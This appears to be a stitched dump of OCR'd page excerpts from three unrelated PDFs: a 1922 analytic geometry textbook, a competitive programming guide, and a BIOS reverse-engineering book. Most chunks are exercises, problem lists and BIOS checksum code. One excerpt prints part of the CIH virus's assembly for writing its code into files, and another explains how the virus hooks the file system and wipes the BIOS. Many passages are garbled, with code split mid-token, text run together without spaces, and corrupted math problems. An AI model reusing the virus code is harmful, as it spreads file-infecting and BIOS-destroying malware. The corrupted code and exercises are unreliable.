¹¹ The `4000h` value is the destination segment of the LHA header of the compressed component. ¹² This image of the BIOS binary is already copied to RAM at `30_0000h-37_FFFFh`. #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 287 Context: # REVIEW ## Exercise 72. Review 1. Find the equation of the plane tangent to the sphere \( x^2 + y^2 + z^2 = r^2 \) at the point \( (x_0, y_0, z_0) \), and show that it can be reduced to the form \( x x_0 + y y_0 + z z_0 = r^2 \). 2. If the two spheres \( S \) and \( S' \) are given, where \( S \) denotes \( x^2 + y^2 + z^2 = 2a \) and \( S' \) denotes \( x^2 + y^2 + z^2 = 2c \), show that the equation \( S - S' = 2y = 2c - 4 \) shows that the intersection of the spheres is the plane which contains the circle of intersection of the spheres, and that this plane is perpendicular to the line of centers. 3. The square of the length of a tangent from the point \( (x', y') \) to the sphere \( (x - x_0)^2 + (y - y_0)^2 + (z - z_0)^2 = r^2 \) is \( (x' - x_0)^2 + (y' - y_0)^2 - (c - z_0)^2 \). 4. The hyperbola cut from the hyperbolic paraboloid \( z = \frac{xy}{k} \) by the plane \( z = h \) has its real axis parallel to \( OX \) when \( k \) is positive, but parallel to \( OY \) when it is negative. 5. The asymptotes of any contour of the hyperbolic paraboloid in Ex. 4 are parallel to the asymptotes of any other contour of the surface. 6. Show how two types of traces and contours that the equation \( (z - h)^2 - \frac{y^2}{b^2} = 0 \) represents a right circular cone having the point \( (x_0, 0, 0) \) as vertex. 7. Find the equation of the surface \( z = x^2 + y^2 \) at \( z = 0 \). 8. Find the equation of the cone which passes through the origin and which has its elements tangent to the sphere \( x^2 + y^2 + z^2 = 20 + 36z \). 9. Find the equation of the paraboloid having the origin as vertex and passing through the circle \( x^2 + y^2 = 25 \), at \( z = 0 \). 10. A tank in the form of an elliptic paraboloid is 12 ft deep and has an ellipse 8 ft x 12 ft wide. If the upper part of the tank is cut off parallel to the top 3 ft below the top, find the axes of the ellipse forming the new top. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 75 Context: # Sections Layout ![Figure 3-4 sections layout sample](image_path_placeholder) **Position in CPU address space** ``` entry_point address + file size ``` ## Sections Definition Now, return to the sections definition in listing 3.4: ```asm SECTIONS { .text __boot_vect : { *(.text) = 0x00 } .rodata ALIGN(4) : { *(.rodata) = 0x00 } .data ALIGN(4) : { *(.data) = 0x00 } .bss ALIGN(4) : { *(.bss) = 0x00 } } ``` #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 29 Context: # 1.3 Getting Started: The Ad Hoc Problems We will kick this chapter by saying to start with the first problem type in ICPCs and IOIs: the Ad Hoc problems. According to [USACO, 29](#), Ad Hoc problems are problems that cannot be classified anywhere else, where each problem description and its corresponding solution are "unique". Ad Hoc problems also always appear in programming contests. Using a benchmark of total problems, there must be L2 and L3 Ad Hoc problems in ICPCs. If the problem is easy, it will usually be the first problem selected by the teams in a programming contest. But there exist Ad Hoc problems that are complicated to solve and some teams will probably not understand the last hour. Assuming a 16-team contest, your team is likely in the lower half (rank 11 to 16) in 2002 and 2003, the cases I was yet for the competition directly which is used by only 6 teams. If you are at the top, you will encounter difficulty due to the other teams’ successes. “Easy” Ad Hoc problems are like problems in a PCMP. The easiest of all Ad Hoc tasks have been formulated in this context. Each category is like a puzzle you must solve. Each category still contains a lot of problems so we highlighted into an attractive first step by selecting simple Ad Hoc problems in each category. There are problems that require the minimum incentive like "try" to solve problems from each category before reading the next section. The categories: 1. **(Super) Easy** - You should try these problems "AC" in under 7 minutes each! - If you are just starting competitive programming, we strongly recommend that you start your journey by solving some problems from this category. 2. **Game (Card)** - There exist Ad Hoc problems involving game parameters. The first game type is related to cards. Usually, you will need to parse the string input to extract cards (suits such as Diamonds (D), Clubs (C), Hearts (H), and Spades (S), e.g., Q♣). This includes the basic counting: `2 ≤ C ≤ 5`, `2 ≤ D ≤ 5`, `DA ≤ 10`, `DA ≤ 12`, `C2 ≤ 13`, `C3 ≤ 14`, ..., `SA ≤ 14`. 3. **Game (Chess)** - Another popular area of game problems that appears in programming contest problems are chess games. Some forms of Tic Tac Toe (listed in this section), Shogi, and chess variants share some identifying characteristics with games played across multiple games before. 4. **Game (Others)** - Other card and board games, there are many other popular problems outside of chess games that tend to filter into programming contest problems. The TO-Do: Road-Paper-Stones, Graduate-Students, BINGO, Burning, and more variants are some notable examples. Once you've seen these, you will find that these problems are indeed super easy. - To assist other arrangements, A ≤ 2. #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 26 Context: # 1.2 TIPS TO BE COMPETITIVE **Exercise 1.2.8.** Write the shortest codes that you can think of for the following tasks: 1. Given a string that represents a base X number, convert it to equivalent string in base Y: `X = 2, Y = 5` where `FF` in base X is `255` in base Y (10 in Decimal) and `11111111` in base Y is `255` in base 2 (binary). (More details in Section 5.3.2) 2. Given a list of integers `L` of size up to `N` items, determine whether a value `x` exists in `L` by not using more than `23` comparisons? (More details in Section 2.1) 3. Given a date, determine what day of the week (Monday, Tuesday, ..., Sunday) of that date? (e.g. 9 August 2010 - the launch date of the first edition of this book - is Monday) 4. Given a string, replace all ‘special words’ of length `3` that start with a numerical digit character and followed by two consecutive digits, e.g. `‘abc’` will be replaced, but `123` and `a72` will not: - `S = ‘the abc and 123 will be replaced, but a72 and a72 will not’` 5. Write the shortest possible Java code to read in a double: (e.g. `1.4723`, `123.4567327`) and print it again, but with minimum field width and 3 digits after decimal point: (e.g. `473` (where `d` denotes a space), `325.325`, `0`) 6. Generate all possible permutations of `(0, 1, 2, ..., N-1)` for `N = 20`. 7. Generate all possible subsets of `(0, 1, 2, ..., N-1)` for `N = 20`. ## 1.24 Tip 5: Master the Art of Testing Code You thought that you have nailed a particular problem. You have identified its type, designed the algorithm for it, and coded the algorithm's implementation. But, your solution is still not producing the expected output. When debugging and testing your code, you may or may not get caught by watching the problem partially. In CPIC, you will only receive credit if your code solves all the judging scenarios, that is, if you get AC. Other responses like Presentation Error (PE), Wrong Answer (WA), Time Limit Exceeded (TLE), Memory Limit Exceeded (MLE), and Time Error (TE), do not increase your team's points. In IOI (2010-2011), the arbiter scoring system is used. The scoring system is designed to evaluate the results of the test cases based on the judging time. Failure to submit proper test cases will result in the problem's status. If your code looks correct but you cannot figure out why it is giving wrong results, consider the following strategies: - Verify that the outputs produced match the expected outputs. - Ask testers to debug your code when all seems correct. This is done to learn from their experience. Always keep track of your submitted codes to ensure you have enough information for improvement. A common mistake among contestants is to copy and paste code from previous contests. You may want to try testing new algorithms or methods. #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 41 Context: # 2.2 DATA STRUCTURES WITH BUILT-IN LIBRARIES © Steven & Felix ## 1. UVA 10776 - Let's Play Magic (1D string array manipulation) ## 2. UVA 10940 - Add Index to the Wall (2D array manipulation) ## 3. UVA 11192 - Group Project (1D array manipulation) ## 4. UVA 11362 - Newspaper (1D string array manipulation) ## 5. UVA 11363 - Surprising Letters (2D array manipulation) ## 6. UVA 11403 - Paths in the Plane (1D array manipulation) ## 7. UVA 11461 - Mice and Maze (1D array manipulation) ## 8. UVA 11508 - No Problem (1D array manipulation) ## 9. UVA 11529 - Procrustes (1D array manipulation) ## 10. UVA 11570 - Missing Numbers (2D array manipulation) ## 11. UVA 11588 - They Are Back (1D array manipulation) ## 12. UVA 11610 - Dilemma (1D array manipulation) ## 13. UVA 11680 - Balloon (1D array manipulation) ## 14. UVA 11696 - More Problems (1D array manipulation) ## C++ STL Algorithms (Problem Solving) 1. UVA 10346 - Scoring Guides (modified comparison function, use sort) 2. UVA 10676 - LCS (longest common subsequence) 3. UVA 11171 - Pool A (ask for next permutation) 4. UVA 11508 - Coin Change (C++ algorithm) 5. UVA 11603 - Essential Scheduler (multi-criteria sorting, use sort) 6. UVA 11604 - Chilling Game (modified comparison function, use sort) 7. UVA 11676 - Mice Logic (use sort and critical tests) 8. UVA 11684 - Sorting Birds (use sort without extra space) 9. UVA 11921 - Minimum Salad Price (sort simplifies the problem) ## 3. UVA 13174 - Wrath (Jumbled STL, sort, segmentation, permute) ### Sorting Algorithms 1. UVA 00109 - Mesh Junctions (1D list) 2. UVA 00109 - Insertion Sorting (Insertion index problem, (O^2) bubble sort) 3. UVA 00110 - Merge Sort (recursive sorting, quick sort) 4. UVA 00111 - Data Structures (inversion index, C++ calculator) 5. UVA 00112 - Least in the Mind (exact, swap elements in ) 6. UVA 00113 - Quick Sort (examining inverses - requires O(log) loss) 7. UVA 00114 - Quick Selection (sorting with the least amount of spaces) 8. UVA 00115 - Build Sort (requires index - requires O(log) large sort) ### Note > **Count the Number of Sorted Arrays:** One purpose of consecutive lines is to find the last sorted array. > > For Example, if two consecutive lines are marked, this means that the last array is not sorted. > > During the sorting process, you could decide to work on the current array instead; or you can also use the cumulative array. > > Note that we need to sort arrays with less than n pairs (where n is odd), where one of the values must change, like this: `0, 0, 1, 2, 2, 3`, etc. Constructing the next levels can be used to prove further implications in Section 6.4. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 4 Context: is needed. This is due to the inherent problems that occurred with the windows port of the GNU tools when trying to generate a flat binary file from ELF file format. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 471 Context: Figure 12.3 shows that a file system API is installed into the kernel of the operating system. Therefore, every time a call to the file system API is made, this hook is executed. Note that after the hook is installed, the execution in the CHI virus source code is no longer "linear": the file system API hook code is dormant and executes only if the operating system requests it—much like a device driver. As you can see in the virus segment source code, this hook checks the type of operation carried out and infects the file with a copy of the virus code if the file is an executable file. Don't forget that at this point the file system hook is a resident entity in the system—think of it as part of the kernel. It has been copied to system memory allocated for hooking purposes by the virus code in the beginning of Listing 12.6. Figure 12.4 shows the state of the CHI virus in the system's virtual address space right after the file system API hook installation. This should clarify the CHI code execution up to this point. ### Figure 12.4 CHI state in memory after file system API hook installation Don't forget that the file system API hook will be called if the operating system interacts with a file, such as when opening, closing, writing, or reading it. The file system API hook is long. Therefore, I only show its interesting parts in Listing 12.7. In this listing, you can see how the virus destroys the BIOS contents. I focus on that subject. ### Listing 12.7 File System API Hook ```asm ; ***************************** ; * IFSgDrv_FilesystemHook entry point * ; ***************************** ``` #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 454 Context: EndOfWriteCodeToSections: loop LoopOfWriteCodeToSections ; *************************** ; * Only set infected mark * ; *************************** OnlySetInfectedMark: mov esp, dr1 jmp WriteVirusCodeToFile ; *************************** ; * Not set infected mark * ; *************************** NotSetInfectedMark: add esp, 3ch jmp CloseFile ; *************************** ; * Set virus code * ; * section table end mark * ; *************************** SetVirusCodeSectionTableEndMark: ; Adjust size of virus section code to correct value add [eax], ebp add [esp+08h], ebp ; Set end mark xor ebx, ebx mov [eax-04h], ebx ; *************************** ; * When VirusGame calls * ; * VxDCall, VMM modifies * ; * the 'int 20h' and the * ; * 'Service Identifier' * ; * to 'Call [XXXXXXXX]' * ; *************************** ; * Before writing my virus * ; * to files, I must * ; * restore VxD function * ; * pointers ^__^ * ; *************************** lea eax, (LastVxDCallAddress-2-@9)[esi] mov cl, VxDCallTableSize LoopOfRestoreVxDCallID: mov word ptr [eax], 20cdh mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] mov [eax+2], edx movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 87 Context: Chapter4GraphWeAreAllConnected—HeroesTVSeries4.1OverviewandMotivationManyreal-lifeproblemscanbeclassifiedasgraphproblems.Somehaveefficientsolutions.Somedonotyethavethem.Inthisrelativelybigchapterwithlotsoffigures,wediscussgraphproblemsthatcommonlyappearinprogrammingcontests,thealgorithmstosolvethem,andthepracticalimplementationsofthesealgorithms.Wecovertopicsrangingfrombasicgraphtraversals,minimumspanningtree,shortestpaths,maximumflow,anddiscussgraphswithspecialproperties.Inwritingthischapter,weassumethatthereadersarealreadyfamiliarwiththefollow-inggraphterminologies:Vertices/Nodes,Edges,Un/Weighted,Un/Directed,In/OutDegree,Self-Loop/MultipleEdges(Multigraph)versusSimpleGraph,Sparse/Dense,Path,Cycle,Iso-latedversusReachableVertices,(Strongly)ConnectedComponent,Sub-Graph,CompleteGraph,Tree/Forest,Euler/HamiltonianPath/Cycle,DirectedAcyclicGraph,andBipartiteGraph.Ifyouencounteranyunfamiliarterm,pleasereadotherreferencebookslike[3,32](orbrowseWikipedia)andsearchforthatparticularterm.WealsoassumethatthereadershavereadvariouswaystorepresentgraphinformationthathavebeendiscussedearlierinSection2.3.1.Thatis,wewilldirectlyusethetermslike:AdjacencyMatrix,AdjacencyList,EdgeList,andimplicitgraphwithoutredefiningthem.PleasereviseSection2.3.1ifyouarenotfamiliarwiththesegraphdatastructures.OurresearchsofarongraphproblemsinrecentACMICPCregionalcontests(especiallyinAsia)revealsthatthereisatleastone(andpossiblymore)graphproblem(s)inanICPCproblemset.However,sincetherangeofgraphproblemsissobig,eachgraphproblemhasonlyasmallprobabilityofappearance.Sothequestionis“Whichonesdowehavetofocuson?”.Inouropinion,thereisnoclearanswerforthisquestion.IfyouwanttodowellinACMICPC,youhavenochoicebuttostudyallthesematerials.ForIOI,thesyllabus[10]restrictsIOItaskstoasubsetofmaterialmentionedinthischapter.ThisislogicalashighschoolstudentscompetinginIOIarenotexpectedtobewellversedwithtoomanyproblem-specificalgorithms.ToassiststhereadersaspiringtotakepartintheIOI,wewillmentionwhetheraparticularsectioninthi #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 296 Context: ``` # INDEX | PAGE | | |------|-----------------------| | 290 | | | | **Higher plane curves** | 217 | | | **Hyperbola** | 116, 167 | | | **Hyperbolic paraboloid** | 372 | | | **Hyperbola** | 21, 272 | | | **Hypocycloid** | 236 | | | **Involute** | 18 | | | **Intercept** | 44, 69, 150, 218 | | | **Interval** | 44 | | | **Lemniscate** | 922 | | | **Lines** | 1, 8, 18, 24, 35, 66, 69, 83, 175 | | | **Locus** | 1, 2, 3, 33, 36, 275 | | | **Logarithmic curve** | 320 | | | **spiral** | - | - **Mid point**: 23, 132, 154, 184 - **Normal**: 60, 109, 154, 170 - **Normal equation**: 68, 70, 247 1. **Oblique coordinates**: 1, 6, 14, 242 2. **Octant**: 25, 206 3. **Ordinal**: 5, 6, 105, 106, 257 4. **Origin**: - 5. **Parabola**: 10, 115, 170 6. **Parallels**: 24, 34, 114, 175 7. **Parameter equation**: 63, 258, 260 8. **Parametric**: 37, 64, 200 9. **Point**: 387, 394, 396 10. **Point locating**: 4 11. **Polar coordinates**: 14, 204 - **Quadrant**: 55 - **Quadratic equation**: 63 | | **Radian** | 365 | |---|-----------------------|-----| | | **Radial axis** | - | | | **Radius vector** | - | | | **Real axis** | 159 | | | **Rectangular coordinates** | 172 | | | **Rotation of axes** | 112 | | | **Slopes** | 1, 3, 5, 16, 36, 50, 200, 328 | - **Sigma**: 18, 31, 62, 112, 167, 178 - **Sphere**: 236, 265 - **Spherical coordinates**: 261, 258 - **Spiral**: 61 - **Subnormal**: 134 - **Subtangent**: 134 - **Symmetric equations**: 246, 249, 257 - **Symmetry**: 87 | | **Tubes** | 314 | |---|-----------------------|-----| | | **Tangent** | 90, 123, 124 | | | **Trace** | 129, 150, 172 | | | **Transform** | 263, 317 | | | **Transformed function** | 263, 317 | | | **Transfusion** | - | | | **Trursive axis** | - | | | **Trisection equation** | 23, 41 | | | **Two-point** | - | - **Variable**: 64, 500 - **Vertical angle**: 117, 142, 190 ``` #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 95 Context: # REVIEW 88. A wheel 3 ft. in diameter makes 20 rev./sec. A brake is then applied and the velocity of the rim decreases P ft./sec., P being a constant. If the wheel comes to rest in t sec., find a formula for the velocity of the rim in ft./sec. at the end of t seconds after the brake is applied, and draw the graph. The symbol "rev./sec." is read as "revolutions per second," and similarly in the other cases. 89. The height of the mercury in a barometer falls progressively 0.11 in. for each 100 ft. that the barometer is carried above sea level, up to a height of 2000 ft. An airplane ascends from a point 500 ft. above sea level, to a height at that place reading 29.56 in. Find in terms of h the formula for the height h of the airplane above sea level, assuming that h does not exceed 2000 ft., and that there is no disturbance in the weather conditions. Draw the graph. It is evident that \( h = -0.11H \), where h and H are measured in inches and the barometric reading at sea level, h to be found. 90. If E is the effort required to raise a weight W with a pulley block, and E and W are connected by a linear relation. It is given that \( W = 415 \) when \( E = 100 \), and \( W = 863 \) when \( E = 212 \), find the linear relation and draw the graph. 91. In testing a certain type of crane it was observed that the pull P required to lift the weight W was as follows: | P | 48 | 63 | 85.3 | 106.8 | 129 | 145 | |-------|-----|-----|-------|--------|------|------| | W | 80 | 160 | 200 | 1600 | 2000 | 2800 | Locate points with these pairs of values and note that they lie approximately on a straight line. This suggests a linear relation between P and W. Draw the straight line which seems to fit the data best and find its equation, measuring the constants of two of its points for this purpose. The two points should be taken some distance apart. Different units may be used on the two axes. #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 6 Context: # Preface This book is a must-have for every competitive programmer to master during their middle phase of their programming career if they wish to take a leap forward from being just another ordinary coder to being among one of the top programmers in the world. Typical readers of this book would be: 1. University students who are competing in the annual ACM International Collegiate Programming Contest (ICPC) and Regional Contests (including the World Finals). 2. Secondary (or High School) Students who are competing in the annual International Olympiad in Informatics (IOI) [1] (including the National Team). 3. Coaches who are responsible for mentoring the participants [2]. 4. Anyone who loves solving problems through competitive programming. There are numerous programming contests for those who are no longer eligible for ICPC like TopCoder Open, Google CodeJam, International Problem Solving Contest (IPSC), etc. ## Prerequisites This book is not written for novice programmers. When we wrote this book, we set it for readers who have basic knowledge in basic programming methodologies, familiar with at least one programming language (C, C++ or Java, preferably), and have passed basic data structures and algorithms courses typically taught in the first year of Computer Science university curriculum. ## Specific to the ACM ICPC Contestants We must stress that you cannot probably win the ACM ICPC regional just by mastering the theories written in this book. While these are fundamental ideas, you will also need practice. We have included a lot of materials in this book, and we encourage you to work with this book as a companion for problem-solving practice. Below are some links that can be useful for future ICPC contestants. ## Specific to the IOI Contestants Same preface as above but with this additional Table 1. This table shows a list of topics that are currently covered in the IOI syllabus [3]. You can skip these items until you enter the national team (or your country's ACM ICPC team). However, learning them in advance may be beneficial as some harder tasks in IOI may require some of these knowledge. | L-R: Daniel | Mr Cheong | Raymond | Steven | Zhan Xiong | Dr Roland | Chuang | | |--------------|-----------|---------|--------|------------|-----------|--------|---| #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 20 Context: # 14 INTRODUCTION 3. From the graph of \( y = \sin x \) in §14 find between what values of \( x \) the value of \( \sin x \) is positive, and between what values of \( x \) it is negative. At what values of \( x \) does \( \sin x \) change from positive to negative? From negative to positive? 4. Show how to infer from the graph in §14 the formulas: - \( \sin(180^\circ - x) = \sin x \) - \( \sin(180^\circ + x) = -\sin x \) 5. Draw the graph of \( y = \cos x \ \) from \( 0^\circ \) to \( 360^\circ \). For the equation \( y = x \), consider each of the following: 1. **Ex. 1.** 2. **Ex. 2.** 3. **Ex. 3.** 4. **Ex. 4.** Plot the graph of \( y = \sin x \) and \( y = \cos x \) on the same axes; show graphically, as in Ex. 4, that \( \sin(90^\circ - x) = \cos x \). 1. The formula for the area of this triangle, as shown in trigonometry, is \( A = \frac{1}{2} b \cdot h \). Plot this equation, showing the variation of \( A \) as \( x \) increases from \( 0^\circ \) to \( 180^\circ \). By looking at this graph, state what value of \( x \) makes \( A \) greatest. 2. From a horizontal plane, bullets are fired with a certain velocity at various angles with the horizontal. If the distance in yards from the point where a bullet starts to the point where it falls is given by \( d = 275 \sin^2 \theta \), join this equation, and find the value of \( x \) which makes \( d \) greatest. 1. In Ex. 12 (related to the graph the value of \( d \) when \( z = 12 \)), estimate the value of \( z \) at which \( d = 1060 \). 2. If the earth had no atmosphere, the amount of heat received from the sun upon a unit of surface area would vary as \( \cos z \), where \( z \) is the angle between the vertical at point \( P \) and the direction of the sun from \( I \) if \( z = 0^\circ \). If \( z = x \) at noon on a certain day, through what values does \( x \) vary from sunrise to sunset? Plot the part or area equations \( I = 10 \) as between these values, and find between what values of \( I \) do the curve of \( I \) increases most rapidly during the morning. #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 269 Context: # REVIEW ## Exercise 68. Review Draw the tetrahedron having the vertices \( A(4, 5, 0) \), \( B(2, -2, -5) \), \( C(3, 2, 1) \), \( D(6, 1, 2) \), and find the following: 1. The length and the direction cosines of \( AB \). 2. The equations of \( AB \) and \( BC \). 3. The cosine of the angle \( ABC \). 4. The equation of the plane containing \( A \), \( B \), and \( C \). 5. The altitude measured from \( D \) to the plane \( ABC \). 6. The equations of the line through \( D \) perpendicular to the plane \( ABC \). 7. The cosine of the dihedral angle having the edge \( AB \). 8. The equations of the line perpendicular to the face \( ABC \) at the point of intersection of the medians of that face. 9. The equation of the plane through \( C \) perpendicular to plane \( BCD \). 10. Find the equations of the line through the origin perpendicular to the plane \( 3x - 2y + z = 1 \). 11. Find the coordinates of the line through the points \( (2, -2, -4) \) and \( (0, 0, 2) \) that intersects the plane \( 6x - 8y + 2z = 4 \). 12. Find the coordinates of each of the points in which the line \( 2x + 3y = 10 \), \( 2 + 2y - z = -4 \) cuts the three coordinate planes. 13. Find the coordinates of the points in which the line \( z = -4 + \frac{y^2}{2} \) cuts the sphere \( x^2 + y^2 + z^2 = 49 \). 14. Find the common point of the planes \( 2x + y + z = 4 \), \( x = y + t \), and \( 3x - y - z = 6 \). #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 262 Context: { printf( "Error seeking to calculate PnP Header" " checksum"); fclose(fp); return -1; } /* PnP BIOS header size is calculated in 16-byte increments */ for(; pnp_hdr_counter < (pnp_hdr_size * 0x10) ; pnp_hdr_counter++) { pnp_checksum = ((pnp_checksum + fgetc(fp)) % 0x100); } if(pnp_checksum != 0 ) { pnp_checksum_byte = 0x100 - pnp_checksum; } else { pnp_checksum_byte = 0; } /* Write PnP header checksum */ fseek(fp,(pnp_header_pos + PnP_CHKSUM_INDEX), SEEK_SET); fputc(pnp_checksum_byte ,fp); /* Overall file checksum handled from here on */ /* Reset current checksum on checksum byte */ if( fseek(fp, ROM_CHKSUM, SEEK_SET) != 0 ) { fclose(fp); return -1; } else { fputc(0x00,fp); } /* Calculate checksum byte */ if(CalcChecksum(fp,rom_size) == 0x00) { checksum_byte = 0x00; /* Checksum already OK */ } else { checksum_byte = 0x100 - CalcChecksum(fp,rom_size); } /* Write checksum byte */ /* Put the file pointer at the checksum byte */ if(fseek(fp, ROM_CHKSUM, SEEK_SET) != 0) { 36 #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 136 Context: si = si & 0xFFF0; bx = 0xFFF0 & Word(ds_base + si + 0xA); ax = si + bx; ax = ax & 0xF000; ax = ax + 0xFFE; Message("ax = 0x%X\n", ax ); /* Find -lh5- signature */ for(esi = 0x300000; esi < 0x360000 ; esi = esi + 1 ) { if( (Dword(esi) & 0xFFFFFF ) == 'hl-' ) { Message("-lh found at 0x%X\n", esi); break; } } /* Calculate the binary size (minus boot block, only compressed parts) */ ecx = 0x360000; esi = esi - 2; /* Point to starting addr of compressed component */ ecx = ecx + ax; ecx = ecx - esi; Message("compressed-components total size 0x%X\n", ecx); /* Calculate checksum - note: esi and ecx value inherited from above */ calculated_sum = 0; while(ecx > 0) { lated_sum = (calculated_sum + Byte(esi)) & 0xFF; calcu esi = esi + 1; ecx = ecx - 1; } hardcoded_sum = Byte(esi); Message("hardcoded-sum placed at 0x%X\n", esi); Message("calculated-sum 0x%X\n", calculated_sum); Message("hardcoded-sum 0x%X\n", hardcoded_sum); if( hardcoded_sum == calculated_sum) { Message("compressed component cheksum match!\n"); } r0; eturn } 30 #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 170 Context: # Stack and Decompression Engine Initialization ## Figure 5.6 Stack values during _j27_ routine execution | Bottom of Stack (Higher Address) | Value of ES Register | Value of Stack Address Range | Top of Stack (Lower Address) | |-----------------------------------|----------------------|------------------------------|-------------------------------| | 0xA091 | 0xFFFFA000 | 0x8000 | decomp_block_start offset value| Now, as you arrive in the `decomp_block_start` function, right before the `ret` instruction, the stack values shown in Figure 5.6 have already been popped, except the value in the bottom of the stack, i.e., `0xA091`. Thus, when the `ret` instruction executes, the code will jump to offset `0xA091`. This offset contains the code shown in Listing 5.31. ## Listing 5.31 Decompression Block Handler Routine ```assembly 8000:A091 decomp_block_entry proc near 8000:A091 call init_decomp_ngine ; On ret, ds = 0 8000:A094 call copy_decomp_result 8000:A097 call PF00_0000 8000:A09A ret 8000:A09A decomp_block_entry endp ``` ## 5.2.3.3. Decompression Engine Initialization The decompression engine initialization is rather complex. Pay attention to its execution. The decompression engine initialization is shown in Listing 5.32. ## Listing 5.32 Decompression Block Initialization Routine ```assembly 8000:A440 init_decomp_ngine proc near ; decomp_block_entry 8000:A440 xor ax, ax 8000:A442 mov es, ax 8000:A444 assume es: 12000 8000:A444 mov si, 0F349h 8000:A447 mov cx, cs 8000:A449 mov dx, dx ; ds = cs 8000:A44B assume ds:decomp_block 8000:A44D mov ax, [si+2] ; ax = header length 8000:A450 mov edi, [si+4] ; edi = destination addr 8000:A452 mov ecx, [si+8] ; ecx = decompression engine 8000:A456 add si, ax ; Point to decompression engine ``` 64 #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 30 Context: # 1.3 GETTING STARTED: THE AD HOC PROBLEMS - **The Josephus-type problems** The Josephus problem is a classic problem where there are people numbered from 1, 2, ..., n, standing in a circle. Every nth person is to be executed. Only the last remaining person will be saved; this person is sometimes called Josephus. The smaller versions of this problem can be solved with plain brute force. The larger ones require better solutions. - **Problems related to Palindrome or Anagram** These are also classic problems. **Palindrome** is a word (or actually a sequence) that can be read the same way in either direction. The common strategy to check if a word is a palindrome is to loop from the first character to the middle and check if the first matches the last, the second matches the second last, and so on. Example: `A man, a plan, a canal: Panama` is a palindrome. **Anagram** is a rearrangement of letters of a given word to produce another word (or phrase) using all the original letters. The common strategy to check for anagrams is to sort the letters of the words and compare the sorted letters. Example word: `tea`, word to check: `ate`. After sorting, both → `aet` and `aet` → they are anagrams. - **Interesting Real Life Problems** This is one of the most interesting categories of problems in UVa online judge. We believe that understanding these is more interesting for those who are new to Computer Science. We feel that new programming tools solve real-world problems in an attractive way. Who knows, you may also learn some interesting knowledge from the problem description! - **Ad Hoc problems involving Time** Date, time, calendar, etc. These are also real life problems. As said earlier, people usually tell time in a constant way. When doing with real life problems, some of these problems will be math-savvy and require a few tricks. The solution for this problem is to simply follow/analize the problem description carefully. - **Just Afic** Even after efforts to enrich/expand the Ad Hoc problems, there are still many others that require more knowledge on top of basic programming skills. - **Ad Hoc problems in other chapters** There are many other Ad Hoc problems which spread to other chapters, especially because they require more knowledge on top of basic programming skills. - **Ad Hoc problems involving the usage of basic linear data structures** are listed in Section 2.1. - **Ad Hoc problems involving mathematical computations** are listed in Section 5.2. - **Ad Hoc problems involving processing of strings** are listed in Section 6.3. - **Ad Hoc problems involving basic geometry skills** are listed in Section 7.2. Types of Ad Hoc problems include a number of programming problems, you will encounter some patterns. From C/C++ programming, these patterns are limited to basic I/O routines (including input, string, etc.), basic data structures (array, list), and basic problem-solving (i.e., recursion, etc.). Here are some defined MIPs (i.e., `MIPs` is used for `Patterns based on Introduction`): - Ad Hoc problems involving the usage of basic linear data structures are listed in Section 2.1. - Ad Hoc problems involving mathematical computations are listed in Section 5.2. - Ad Hoc problems involving processing of strings are listed in Section 6.3. - Ad Hoc problems involving basic geometry skills are listed in Section 7.2. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 261 Context: printf("Error opening file\nclosing program..."); return -1; } /* Save ROM source code file size, which is located at index 0x2 from beginning of file (zero-based index) */ fseek(fp, ROM_SIZE_INDEX, SEEK_SET); rom_size = fgetc(fp); /* Patch PnP header checksum */ if(fseek(fp,PnP_HDR_PTR,SEEK_SET) != 0) { printf("Error seeking PnP Header"); 